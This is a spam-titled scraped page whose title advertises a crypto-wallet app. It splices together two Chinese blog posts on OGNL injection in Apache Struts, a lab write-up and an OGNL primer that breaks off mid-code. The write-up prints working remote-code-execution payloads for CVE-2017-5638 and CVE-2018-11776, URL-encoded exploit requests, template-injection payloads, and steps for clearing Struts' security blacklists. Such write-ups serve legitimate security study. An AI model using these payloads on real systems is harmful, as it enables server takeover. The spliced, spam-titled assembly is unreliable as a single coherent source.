bitpie比特派安卓版免费下载|ognl注入

作者: bitpie比特派安卓版免费下载
2024-03-13 20:38:06

在Apache Struts中利用OGNL注入 - 17bdw - 博客园

在Apache Struts中利用OGNL注入 - 17bdw - 博客园

会员

周边

新闻

博问

AI培训

云市场

所有博客

当前博客

我的博客

我的园子

账号设置

简洁模式 ...

退出登录

注册

登录

17bdw随手笔记

博客园

联系

订阅

管理

在Apache Struts中利用OGNL注入

前言

本文简要介绍了Apache Struts的OGNL注入缺陷,文章中介绍使用简单的应用程序复现OGNL注入。深入研究针对公共漏洞,并理解这类漏洞。

内容

安装Apache Tomcat服务器(入门)

熟悉Java应用程序在服务器上的工作方式(Web服务器基础知识)

Struts应用程序示例(Struts应用程序示例)

表达语言注入(表达式语言注入)

了解OGNL注射(对象图导航语言注入)

CVE-2017-5638根本原因(CVE-2017-5638根本原因)

CVE-2018-11776根本原因(CVE-2018-11776根本原因)

OGNL注入Payload的说明(了解OGNL注入有效负载)

入门

安装Tomcat

https://tomcat.apache.org/download-90.cgi

cd /var/tomcat/bin # Go to the extracted folder

chmod +x *.sh # Set scripts as executable

./startup.sh # Run the startup script

转到http://localhost:8080/并检查它是否正在运行。

安装Struts旧版本

https://archive.apache.org/dist/struts/2.3.30/

struts2-showcase.war是一个使用Struts编译并准备部署的演示应用程序。

只需将WAR文件复制/var/tomcat/webapps。

访问http://localhost:8080/struts2-showcase/showcase.action

Web服务器基础知识

Java_servlet概念

https://en.wikipedia.org/wiki/Java_servlet

处理servlet,Web服务器(例如Apache Tomcat)需要的组件:

Apache Coyote:https://en.wikipedia.org/wiki/Apache_Tomcat#Coyote

支持HTTP / 1.1协议的Connector。它允许与servlet容器组件Apache Catalina进行通信。

Apache Catalina容器:https://en.wikipedia.org/wiki/Apache_Tomcat#Catalina

确定在Tomcat接收HTTP请求时需要调用哪些servlet的容器。将HTTP请求和响应从文本转换为servlet使用的Java对象。

Java servlet规范的所有详细信息(最新版本为4.0)

https://jcp.org/aboutJava/communityprocess/final/jsr369/index.html

Apache Struts基础知识

struts_2教程

https://www.tutorialspoint.com/struts_2/index.htm

(模型 - 视图 - 控制器)架构模式

Apache Struts框架依赖于MVC(模型 - 视图 - 控制器)架构模式。它对应用程序很有用,因为可以分离主要的应用程序组件:

模型 - 表示应用程序数据,例如使用“订单”等数据的类

视图 - 是应用程序的输出,可视部分

Controller - 接收用户输入,使用Model以生成View

动作 - Apache Struts中的模型

拦截器 - Controller的一部分,它们是可以在处理请求之前或之后调用的钩子

Value Stack / OGNL - 一组对象,例如Model或Action对象

结果/结果类型 - 用于选择业务逻辑后的视图

查看技术 - 处理数据的显示方式

Apache Struts Web应用程序的一般体系结构:

Controller接收HTTP请求,FilterDispatcher负责根据请求调用正确的操作。然后执行该操作,View组件准备结果并将其发送给HTTP响应中的用户。

Struts应用程序示例

使用rest-showcase演示应用程序测试漏洞节省很多时间。

带有基本前端的简单REST API。

编译应用程序,建立Maven:

cd struts-2.3.30/src/apps/rest-showcase/

mvn package

找到以下文件:struts2-rest-showcase.war。通过将其复制到Tomcat服务器的webapps目录,例如/var/tomcat/webapps。

rest-showcase应用源代码:

可用文件说明:

Order.java是模型。它是一个存储订单信息的Java类。

public class Order {

String id;

String clientName;

int amount;

}

OrdersService.java是一个帮助程序类,它将Orders存储在HashMap中并对其进行管理。

public class OrdersService {

private static Map orders = new HashMap();

}

IndexController.java 和OrderController.java是Struts应用程序的控制器或动作。

服务器端模板和注入

JSP通过将静态HTML与在服务器上执行的动态代码混合,可以生成动态HTML代码。

与PHP类似,可以混合使用Java和HTML代码。以下是一个例子:

  • First Name:

    <%= request.getParameter("first_name")%>

  • Last Name:

    <%= request.getParameter("last_name")%>

  • 如上面的代码片段所示,可以使用请求带有HTML代码的对象并调用getParameter函数,该函数返回参数first_name和last_name的值。

    遵循MVC设计模式并避免View(JSP)和Model / Controller(Java)之间的复杂混合,可以在JSP文件中使用表达式语言。使View能够与Java应用程序通信:

    Box Perimeter is: ${2*box.width + 2*box.height}

    此功能也称为服务器端模板,允许在服务器上创建HTML 模板,管理HTML和Java代码组合。可以使用多个服务器端模板引擎,例如FreeMarker,Velocity或Thymeleaf。

    通过模板引擎使用一些特殊的编程语言,是服务器端模板注入漏洞的基础。

    当模板引擎解析或解释用户提供的数据时,会出现问题。因为模板引擎通常包括调用函数的方法,可以执行操作系统命令。

    使用FreeMarker模板引擎检查此示例:

    ${title}

    <#if animals.python.price == 0>

    Pythons are free today!

    在上面的代码中,如果满足条件,则会生成动态生成的标题和消息。

    攻击者可以打印动态内容,也可以是敏感信息,如应用程序配置数据。

    此外,如果模板引擎允许,还可以执行操作系统命令。以下是FreeMarker的示例:

    <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

    表达语言注入

    表达式语言用于创建服务器端模板,因此它也可以被视为服务器端模板引擎。但由于它也满足其他目的,因此其中的漏洞并非严格意义上的注入类型。以下是一些例子:

    ${customer.address["street"]}

    ${mySuit == "hearts"}

    ${customer.age + 20}

    #{customer.age}

    ${requestScope[’javax.servlet.forward.servlet_path’]}

    用户可能能够执行用户提供的表达式语言代码,因此这意味着应用程序可能容易受到表达式语言注入的攻击。

    ExpressionLanguageInjection.pdf:因为使用了${EL}语法,所以很容易找到表达式语言的缺陷。例如,一个简单的数学运算,例如${9999+1}将被评估10000,可能在响应中可见。

    使用表达式语言的默认范围来检索实际信息,例如${applicationScope}或${requestScope}。深入利用这个特性就会产生远程代码执行,spring-remote-code-with-expression-language-injection。表达式语言注入可以允许会话对象修改和提升用户权限的管理员级别:

    ${pageContext.request.getSession().setAttribute("admin",true)}

    最后,甚至可能使用以下方法获取远程执行代码:

    ${pageContext.getClass().getClassLoader().getParent().newInstance(pageContext.request.getSession().getAttribute("arr").toArray(pageContext.getClass().getClassLoader().getParent().getURLs())).loadClass("Malicious").newInstance()}

    通过拒绝用户提供的表达式语言解析函数输入,保持所有依赖关系更新,甚至通过正确转义#{和${用户输入的序列,可以防止此类漏洞。

    对象图导航语言注入

    对象图导航语言(OGNL)是一种用于Java的开源表达式语言。OGNL的主要功能是获取和设置对象属性:“ 在Java中可以做的大部分工作都可以在OGNL中实现。”

    例如处理订单,

    public class Order {

    String id;

    String clientName;

    int amount;

    … }

    可以在JSP文件中直接访问订单属性,如下所示:

    <%@taglib prefix="s" uri="/struts-tags" %>

    ...

    ID

    Client

    ``

    Amount

    `

    使用%{code}和${code}序列评估OGNL表达式。正如其commons-ognl/language-guide中所述,OGNL允许以下内容:

    访问属性,如name或headline.text

    调用方法如 toCharArray()

    从数组访问元素,如 listeners[0]

    甚至将它们组合在一起 name.toCharArray()[0].numericValue.toString()

    也可以使用variables(#var = 99),create arrays(new int[] { 1, 2, 3 })或maps(#@java.util.LinkedHashMap@{ "foo" : "foo value", "bar" : "bar value" }),甚至访问静态字段(@class@field或调用静态方法:) @class@method(args)。

    OGNL是一种功能强大的语言,但在Apache Struts中将用户提供的输入视为OGNL会影响安全性。以下为用rest-showcase应用程序演示的漏洞例子,为所有Order属性提供getter和setter ,例如:

    public String getClientName() {

    return clientName;

    }

    public void setClientName(String clientName) {

    this.clientName = clientName;

    }

    通过导入三个额外的包和调用TextParseUtil.translateVariables方法,修改setter使其产生OGNL注入攻击,然后调用。例子中是修改clientName参数中的值。

    import com.opensymphony.xwork2.ActionContext;

    import com.opensymphony.xwork2.util.TextParseUtil;

    import com.opensymphony.xwork2.util.reflection.ReflectionContextState;

    public void setClientName(String clientName) {

    ReflectionContextState.**setDenyMethodExecution**(ActionContext.getContext().getContextMap(), false);`

    this.clientName = TextParseUtil.translateVariables`(clientName, ActionContext.getContext().getValueStack());

    该translateVariables方法达到以下代码:

    TextParser parser = ((Container)stack.getContext().get(ActionContext.CONTAINER)).getInstance(TextParser.class);

    return **parser.evaluate**(openChars, expression, ognlEval, maxLoopCount);

    这将评估OGNL表达式(OgnlTextParser.java)。

    使用简单的数学运算,例如%{999+1}测试漏洞。

    客户端名称被解析为OGNL,成功执行数学运算。

    在调用translateVariables函数之前,必须先调用setDenyMethodExecution。方法执行被拒绝作为保护措施,攻击者无法执行任何方法。

    如果在开发阶段遇到类似漏洞,则可以在任何方法调用之前直接从有效负载启用方法执行:

    (#context['xwork.MethodAccessor.denyMethodExecution']=false)

    调试Java应用程序

    使用旧的Java应用程序(如Struts 2.3.30)在IDEA调试器中编译和运行:

    1.转到运行>调试>编辑配置

    2.单击+并选择Maven

    3.通过选择Maven项目来指定工作目录,例如rest-showcase

    4.指定以下命令行:( jetty:run -f pom.xmlJetty是Web服务器)

    访问http://127.0.0.1:8080/struts2-rest-showcase/orders.xhtml触发对setClientName断点的调用。

    CVE-2017-5638原理

    CVE-2017-5638曾被利用于Equifax数据泄露。两份漏洞代码如下:

    exploiting-apache-struts2-cve-2017-5638

    Exploit-DB漏洞代码:

    python CVE-2017-5638.py http://localhost:8080/struts2-showcase/showcase.action "touch /tmp/pwned"

    [*] CVE: 2017-5638 - Apache Struts2 S2-045

    [*] cmd: touch /tmp/pwned

    完整的堆栈跟踪如下:

    在doFilter(…)调用prepare.wrapRequest(request); 方法的方法中处理请求

    wrapRequest调用dispatcher.wrapRequest(request);

    在这种方法中,可以找到一些有趣的东西:

    String content_type = request.getContentType(); if (content_type != null &&content_type.contains("multipart/form-data")) { ...

    request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);`

    } else {

    request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);

    }

    如果Content-Type请求的标头包含multipart/form-data字符串,则框架将使用MultiPartRequestWrapper类。

    解析请求: multi.parse(request, saveDir);

    尝试解析请求,但在发现Content-Type无效时会抛出异常:

    if ((null == contentType) || (!contentType.toLowerCase(Locale.ENGLISH).startsWith(MULTIPART))) { throw new InvalidContentTypeException( format("the request doesn't contain a %s or %s stream, content type header is %s", MULTIPART_FORM_DATA, MULTIPART_MIXED, contentType));

    此异常导致调用buildErrorMessage执行以下方法:( 其中e.getMessage()是包含漏洞利用的错误消息)LocalizedTextUtil.findText (this.getClass(), errorKey, defaultLocale,e.getMessage(), args);

    这会导致回复 findText(aClass, aTextName, locale, defaultMessage, args, valueStack);

    然后调用 result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);

    执行异常的调用: MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);

    执行异常的“translateVariables”方法:请求不包含multipart / form-data或multipart / mixed流,内容类型标头为%{(#_ ='multipart / form-data')。(# DM = @ ognl.OgnlContext @ DEFAULT_MEMBER_ACCESS)...

    Content-Type带有OGNL表达式的无效 标题会触发CVE-2017-5638。出于某种原因,解析了带有OGNL表达式的异常消息。

    CVE-2018-11776原理

    漏洞环境:Struts 2.5.16

    漏洞描述:apache_struts_CVE-2018-11776-part2、St2-057

    在自定义配置下可以成功利用:

    转到struts-2.5.16目录: cd struts-2.5.16/

    并搜索以下文件struts-actionchaining.xml:find . -name struts-actionchaining.xml

    编辑XML文件,例如 ./src/apps/showcase/src/main/resources/struts-actionchaining.xml

    并修改标记以具有以下值:

    register2

    使用struts2-showcase应用程序作为目标。编译它需要以下步骤:

    cd src/apps/showcase/ #转到Showcase目录

    mvn package -DskipTests=true #编译它(并跳过测试)

    cp target/struts2-showcase.war /var/tomcat/webapps/ #复制到Tomcat

    访问此URL来检查应用程序是否易受攻击:

    http://127.0.0.1:8080/struts2-showcase/${22+22}/actionChain1.action

    如果存在漏洞会重定向到http://127.0.0.1:8080/struts2-showcase/44/register2.action。因为执行了表达式中的22+22

    技术细节:https://lgtm.com/blog/apache_struts_CVE-2018-11776-exploit

    C语言写的漏洞利用程序:https://github.com/Semmle/SecurityExploits/blob/master/Apache/Struts/CVE-2018-11776/struts-attacker/src/startcalc.c

    使用URL编码的Payload发送以下的两个请求:

    1、

    ${(#_=#attr['struts.valueStack']).(#context=#_.getContext()).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}

    2、

    ${(#_=#attr['struts.valueStack']).(#context=#_.getContext()).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#context.setMemberAccess(#dm)).(#sl=@java.io.File@separator).(#p=new java.lang.ProcessBuilder({'bash','-c',**'xcalc'**})).(#p.start())}

    EXP如下:

    1、

    http://127.0.0.1:8080/struts2-showcase/%24%7B%28%23%3D%23attr%5B%27struts.valueStack%27%5D%29.%28%23context%3D%23.getContext%28%29%29.%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.setExcludedClasses%28%27%27%29%29.%28%23ognlUtil.setExcludedPackageNames%28%27%27%29%29%7D/actionChain1.action

    2、

    http://127.0.0.1:8080/struts2-showcase/%24%7B%28%23%3D%23attr%5B%27struts.valueStack%27%5D%29.%28%23context%3D%23.getContext%28%29%29.%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23context.setMemberAccess%28%23dm%29%29.%28%23sl%3D%40java.io.File%40separator%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%7B%27bash%27%2C%27-c%27%2C%27xcalc%27%7D%29%29.%28%23p.start%28%29%29%7D/actionChain1.action

    预期的结果应该是弹出计算器:

    查看调试器中的Payload有助于理解其工作原理。 请注意,字符串/struts2-showcase/${2+4}/actionChain1.action中的$ {2 + 4}在Struts中称为名称空间,actionChain1是操作。

    调用execute(ActionInvocation invocation)方法具有以下效果:

    if (namespace == null) {

    namespace = invocation.getProxy().getNamespace(); // namespace is “/${2+4}”

    }

    String tmpLocation = actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace, method, null));

    setLocation(tmpLocation); // tmpLocation is “/${2+4}/register2.action”

    super.execute(invocation);

    execute方法也调用super.execute(invocation);

    然后调用此方法:

    /**

    Implementation of the `execute` method from the `Result` interface. This will call the abstract method

    {@link #doExecute(String, ActionInvocation)} after optionally evaluating the location as an OGNL evaluation

    /*

    public void execute(ActionInvocation invocation) throws Exception {

    lastFinalLocation = conditionalParse(location, invocation);

    doExecute(lastFinalLocation, invocation);

    }

    conditionalParse方法解析OGNL表达式的参数(在第一步中使用setLocation方法之前设置的位置):

    /**

    Parses the parameter for OGNL expressions against the valuestack

    */

    protected String conditionalParse(String param, ActionInvocation invocation) {

    if (parse && param != null && invocation != null) {

    return TextParseUtil.translateVariables(

    param,

    invocation.getStack(),

    new EncodingParsedValueEvaluator());

    结果是可以执行任意OGNL表达式。

    结果是可以执行任意OGNL表达式。 关于这个问题的更多细节

    apache_struts_CVE-2018-11776

    apache_struts_CVE-2018-11776-part2

    要点:当使用动作链时,来自用户的命名空间将被解析为OGNL。

    理解OGNL注入Payload

    漏洞中的Payload没有写成这样的形式:%{@java.lang.Runtime@getRuntime().exec('command')},有两个原因。 一个是指由Struts维护者实现的保护机制,另一个是读取命令输出的相关功能(跨平台)。

    相关知识页面:https://lgtm.com/blog/apache_struts_CVE-2018-11776-exploit

    SecurityMemberAccess类,在Payload执行期间用作_memberAccess,决定OGNL可以执行的操作,但可以选择使用条件更加宽松的DefaultMemberAccess类。

    另一个保护措施是将类和包名称列入黑名单。

    另外一种不同的缓解措施,可能是对静态方法的限制,这可以通过_memberAccess 类的allowStaticMethodAccess字段实现。

    CVE-2017-5638和CVE-2018-11776的Payload:

    (#_='multipart/form-data').

    (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).

    (#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).

    (#context['xwork.MethodAccessor.denyMethodExecution']=false).

    (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).

    (#ognlUtil.getExcludedPackageNames().clear()).

    (#ognlUtil.getExcludedClasses().clear()).

    (#context.setMemberAccess(#dm)))).

    (#cmd='/usr/bin/touch /tmp/pwned').(#iswin=@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).

    (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).

    (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).

    (#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).

    (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())

    1. #_ ='multipart / form-data' - 一个随机变量,因为我们的有效负载中需要multipart / form-data字符串才能触发漏洞

    2. #dm = @ ognl.OgnlContext @ DEFAULT_MEMBER_ACCESS - 使用DefaultMemberAccess的值创建dm变量(比SecurityMemberAccess限制更少)

    3. #_memberAccess?(#_memberAccess=#dm) – 如果_memberAccess类存在,将其替换为dm变量的DefaultMemberAccess

    4. #container=#context[‘com.opensymphony.xwork2.ActionContext.container’] – 从上下文中获取容器,将在后面需要用到

    5. #ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class) – 使用它来获取OgnlUtil类的实例(我们无法直接执行,因为它被列入了黑名单之中,完整的列表位于./src/core/src/main/resources/struts-default.xml)

    6. #ognlUtil.getExcludedPackageNames().clear() – 清除不包含的包名称

    7. #ognlUtil.getExcludedClasses().clear() – 清除不包含的类

    8. #context.setMemberAccess(#dm) – 将DefaultMemberAccess设置为当前上下文

    9. #cmd=’/usr/bin/touch /tmp/pwned’ – 定义我们想要执行的命令

    10. #iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’)) – 如果应用程序在Windows上运行,则保存在变量中(跨平台漏洞)

    11. #cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd}) – 指定如何根据操作系统执行命令(cmd.exe或bash)

    12. #p=new java.lang.ProcessBuilder(#cmds) – 使用ProcessBuilder类来运行命令(参数)

    13. #p.redirectErrorStream(true) – 查看命令的错误输出,可能也会有帮助

    14. #process=#p.start() – 执行命令

    15. #ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()) – 获取响应的输出流,将数据发送回用户

    16. @org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros) – 获取执行命令的输出

    17. #ros.flush() – 刷新,确保我们发送所有数据。

    对CVE-2018-11776的漏洞利用有一些不同之处:

    1. #_=#attr[‘struts.valueStack’] – 使用attr获取ValueStack

    2. #context=#_.getContext() – 获取上下文

    3. #container=#context[‘com.opensymphony.xwork2.ActionContext.container’] – 获取容器

    4. #ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class) – 获取对OgnlUtil类的引用

    5. #ognlUtil.setExcludedClasses(‘’) – 清除不包含的类

    6. #ognlUtil.setExcludedPackageNames(‘’) – 清除不包含的包名称

    7. #dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS – 使用值DefaultMemberAccess定义变量dm

    8. #context.setMemberAccess(#dm) – 设置DefaultMemberAccess而不是SecurityMemberAccess

    9. #sl=@java.io.File@separator – 未使用

    10. #p=new java.lang.ProcessBuilder({‘bash’,’-c’,’xcalc’}) – 使用命令(xcalc)声明ProcessBuilder

    11. #p.start() – 执行命令

    总结

    尽管Apache Struts是一个众所周知且广泛使用的框架,但由于缺乏公开的安全研究,使其仍然可能成为一个简单的目标。有关该主题的公开研究知识,可以在LGTM博客中获得。

    OGNL注入漏洞影响Apache Struts的多个版本,并且是通过滥用代码中现有功能来实现远程执行代码的一个良好示例。

    漏洞利用一开始可能看起来很困难,但实际上并非如此,调试器总是非常有帮助。熟悉Java可能对安全研究者来说非常困难,但最终会变成优势。

    在所有新研究中,耐心是最有价值的品质。我们的建议是,当事情变得困难时,不要轻易放弃。并且善于提出问题,安全社区总是一个最有帮助的地方。

    参考

    https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/

    posted @

    2019-03-21 00:29 

    17bdw 

    阅读(3867) 

    评论(0) 

    编辑 

    收藏 

    举报

    会员力量,点亮园子希望

    刷新页面返回顶部

    公告

    Copyright © 2024 17bdw

    Powered by .NET 8.0 on Kubernetes

    Java OGNL表达式注入漏洞原理研究 - 郑瀚Andrew - 博客园

    Java OGNL表达式注入漏洞原理研究 - 郑瀚Andrew - 博客园

    会员

    周边

    新闻

    博问

    AI培训

    云市场

    所有博客

    当前博客

    我的博客

    我的园子

    账号设置

    简洁模式 ...

    退出登录

    注册

    登录

    Han Zheng, Practitioners and Theoretical Researcher, Now working in Alibaba Cloud Corp, China

    Welcome to contact me. Wechat:LittleHann,My email, 306211321@qq.com,Job mail:zhenghan.zh@alibaba-inc.com,Job Description:aHR0cHM6Ly9qb2IuYWxpYmFiYS5jb20vemhhb3Bpbi9wb3NpdGlvbl9kZXRhaWwuaHRtP3RyYWNlPXFyY29kZV9zaGFyZSZwb3NpdGlvbkNvZGU9R1A2MDAxMjk=

    博客园

    首页

    新随笔

    联系

    订阅

    管理

    Java OGNL表达式注入漏洞原理研究

    Java OGNL表达式注入漏洞原理研究

    一、OGNL表达式基础

    0x1:什么是Java中的对象图

    来看一个例子:

    Class SchoolMaster{

    String name = "wanghua";

    }

    Class School

    {

    String name = "tsinghua";

    SchoolMaster schoolMaster;

    }

    Class Student

    {

    String name = "xiaoming";

    School school;

    }

    创建实例学校school = new School()、学生student = new Student()和校长schoolMaster = new SchoolMaster(),将学校校长指定为schoolMaster实例-school.schoolMaster = schoolMaster,学生的学校指定为school实例-student.school = school,那么三者就连接起来了形成了一个对象图,对象图基本可以理解为对象之间的依赖图。

    通过对象图我们可以获取到对象的属性甚至对象的方法。

    OGNL就是实现这个目的的一种语言,OGNL全称Object-Graph Navigation Language即对象导航图语言,它旨在提供一个更高抽象度语法来对 java 对象图进行导航。

    OGNL是一种功能强大的表达式语言,通过它简单一致的表达式语法,可以

    存取对象的任意属性

    调用对象的方法

    遍历整个对象的结构图

    实现字段类型转化等功能

    对于开发者来说,使用 OGNL,可以用简洁的语法来完成对 java 对象的导航。通常来说:通过一个 “路径” 来完成对象信息的导航,这个 “路径” 可以是到 java bean 的某个属性,或者集合中的某个索引的对象,等等,而不是直接使用 get 或者 set 方法来完成。

    OGNL表达式具有以下特点:

    支持对象方法调用,如objName.methodName()

    支持类静态方法调用和值访问,表达式的格式为 @[类全名(包括包路径)]@[方法名|值名],如@java.lang.String@format(‘fruit%s’,’frt’)

    支持赋值操作和表达式串联,如price=100、discount=0.8,calculatePrice(price*discount)这个表达式会返回80

    访问OGNL上下文(OGNL context)和ActionContext

    操作集合对象

    可以直接new一个对象

    0x2:OGNL三要素

    OGNL具有三要素:表达式(expression)、根对象(root)和上下文对象(context)。

    表达式(expression):表达式是整个OGNL的核心,通过表达式来告诉OGNL需要执行什么操作

    根对象(root):root可以理解为OGNL的操作对象,OGNL可以对root进行取值或写值等操作,表达式规定了“做什么”,而根对象则规定了“对谁操作”。实际上根对象所在的环境就是 OGNL 的上下文对象环境

    上下文对象(context):context可以理解为对象运行的上下文环境,context以MAP的结构、利用键值对关系来描述对象中的属性以及值

    以下是一个OGNL的示例。

    新建maven项目,

    pom.xml

    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">

    4.0.0

    org.example

    OGNL_test

    1.0-SNAPSHOT

    8

    8

    UTF-8

    ognl

    ognl

    3.1.19

    School.java

    package org.example;

    public class School {

    String name = "tsinghua";

    SchoolMaster schoolMaster;

    public void setName(String s) {

    name = s;

    }

    public String getName() {

    return name;

    }

    public void setSchoolMaster(SchoolMaster s) {

    schoolMaster = s;

    }

    public SchoolMaster getSchoolMaster() {

    return schoolMaster;

    }

    }

    Student.java

    package org.example;

    public class Student {

    String name = "xiaoming";

    School school;

    public void setName(String s) {

    name = s;

    }

    public String getName() {

    return name;

    }

    public void setSchool(School s) {

    school = s;

    }

    public School getSchool() {

    return school;

    }

    }

    SchoolMaster.java

    package org.example;

    public class SchoolMaster {

    String name = "wanghua";

    public SchoolMaster(String s) {

    name = s;

    }

    public void setName(String s) {

    this.name = s;

    }

    public String getName() {

    return name;

    }

    }

    Main.java

    package org.example;

    import ognl.Ognl;

    import ognl.OgnlContext;

    import ognl.OgnlException;

    // Press Shift twice to open the Search Everywhere dialog and type `show whitespaces`,

    // then press Enter. You can now see whitespace characters in your code.

    public class Main {

    public static void main(String[] args) throws OgnlException {

    // 创建Student对象

    School school = new School();

    school.setName("tsinghua");

    school.setSchoolMaster(new SchoolMaster("wanghua"));

    Student student1 = new Student();

    student1.setName("xiaoming");

    student1.setSchool(school);

    Student student2 = new Student();

    student2.setName("zhangsan");

    student2.setSchool(school);

    // 创建上下文环境

    OgnlContext context = new OgnlContext();

    // 设置根对象root

    context.setRoot(student1);

    context.put("student2", student2);

    // 获取ognl的root相关值

    Object name1 = Ognl.getValue("name", context, context.getRoot());

    Object school1 = Ognl.getValue("school.name", context, context.getRoot());

    Object schoolMaster1 = Ognl.getValue("school.schoolMaster.name", context, context.getRoot());

    System.out.println(name1 + ":学校-" + school1 + ",校长-"+schoolMaster1);

    // 获取ognl非root相关值

    Object name2 = Ognl.getValue("#student2.name", context, context.getRoot());

    Object school2 = Ognl.getValue("#student2.school.name", context, context.getRoot());

    Object schoolMaster2 = Ognl.getValue("#student2.school.schoolMaster.name", context, context.getRoot());

    System.out.println(name2 + ":学校-" + school2 + ",校长-"+schoolMaster2);

    }

    }

    在上面示例中,

    根对象是student1实例,context中设置了根对象和非根对象student2

    表达式有name、school.name、school.schoolMaster.name和student2.name、#student2.school.name、student2.school.schoolMaster.name,前三个是通过表达式获取root也就是student1对象的相关属性,后三个是通过表达式获取容器变量student2对象的相关属性。

    1、表达式(expression)语法

    OGNL支持各种纷繁复杂的表达式。但是最最基本的表达式的原型,是将对象的引用值用点串联起来,从左到右,每一次表达式计算返回的结果成为当前对象,后面部分接着在当前对象上进行计算,一直到全部表达式计算完成,返回最后得到的对象。

    OGNL则针对这条基本原则进行不断的扩充,从而使之支持对象树、数组、容器的访问,甚至是类似SQL中的投影选择等操作。

    1)通过.获取对象的属性或方法

    student

    student.name

    student.school

    student.school.name

    student.takingClasses("英语")

    2)三种类型对象的获取

    静态对象、静态方法和静态变量:@

    @java.lang.System@getProperty("user.dir")

    @java.lang.Math@abs(-111)

    非原生类型对象:#

    #student.name

    #student.takingClasses("英语")

    简单对象:直接获取

    "string".lenth

    5

    true

    %符号的用途是在标志的属性为字符串类型时,告诉执行环境%{}里的是OGNL表达式并计算表达式的值。

    $在配置文件中引用OGNL表达式。

    3)集合表达式

    new创建实例:

    new java.lang.String("testnew")

    {}和[]的用法:在OGNL中,可以用{}或者它的组合来创建列表、数组和map,[]可以获取下标元素。

    创建list:{value1,value2...}

    {1,3,5}[1]

    创建数组:new type[]{value1,value2...}

    new int[]{1,3,5}[0]

    创建map:#{key:value,key1:value1...}

    #{"name":"xiaoming","school":"tsinghua"}["school"]

    2、根对象(root)

    3、上下文对象(context)

    0x3:OGNL与EL的区别

    因为OGNL表达式是Struts2的默认表达式语言,所以只针对Struts2标签有效;然而EL在HTML中也可以使用。

    Struts2标签用的都是OGNL表达式语言,所以它多数都是去值栈的栈顶找值,找不到再去作用域;相反,EL都是去Map集合作用域中找。

    页面取值区别如下表:

    名称servletOGNLEL

    parameters

    request.getParameter(“username”)

    #username

    ${username}

    request

    request.getAttribute(“userName”)

    #request.userName

    ${requestScope.username}

    session

    session.getAttribute(“userName”)

    #session.userName

    ${sessionScope.username}

    application

    application.getAttribute(“userName”)

    #application.userName

    ${applicationScope.username}

    attr

    用于按request > session > application顺序访问其属性(attribute)

    #attr.userName相当于按顺序在以上三个范围(scope)内读取userName属性,直到找到为止

    参考链接: 

    http://www.mi1k7ea.com/2020/03/16/OGNL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/

    https://chenlvtang.top/2022/08/11/Java%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E4%B9%8BOGNL/

    https://xz.aliyun.com/t/10482

    https://jueee.github.io/2020/08/2020-08-15-Ognl%E8%A1%A8%E8%BE%BE%E5%BC%8F%E7%9A%84%E5%9F%BA%E6%9C%AC%E4%BD%BF%E7%94%A8%E6%96%B9%E6%B3%95/

     

    二、OGNL漏洞成因

    0x1:OGNL命令执行原理

    基于以上OGNL表达式原理,OGNL可以访问静态方法、属性以及对象方法等,其中包含可以执行恶意操作如命令执行的类java.lang.Runtime等,当OGNL表达式外部可控时,攻击者就可以构造恶意的OGNL表达式来让程序执行恶意操作,这就是OGNL表达式注入漏洞。

    我们可以由很容易写出Java执行命令的OGNL表达式。

    package org.example;

    import ognl.Ognl;

    import ognl.OgnlContext;

    import ognl.OgnlException;

    // Press Shift twice to open the Search Everywhere dialog and type `show whitespaces`,

    // then press Enter. You can now see whitespace characters in your code.

    public class Main {

    public static void main(String[] args) throws OgnlException {

    // 创建Student对象

    School school = new School();

    school.setName("tsinghua");

    school.setSchoolMaster(new SchoolMaster("wanghua"));

    Student student1 = new Student();

    student1.setName("xiaoming");

    student1.setSchool(school);

    Student student2 = new Student();

    student2.setName("zhangsan");

    student2.setSchool(school);

    // 创建上下文环境

    OgnlContext context = new OgnlContext();

    // 设置根对象root

    context.setRoot(student1);

    context.put("student2", student2);

    // 获取ognl的root相关值

    Object name1 = Ognl.getValue("name", context, context.getRoot());

    Object school1 = Ognl.getValue("school.name", context, context.getRoot());

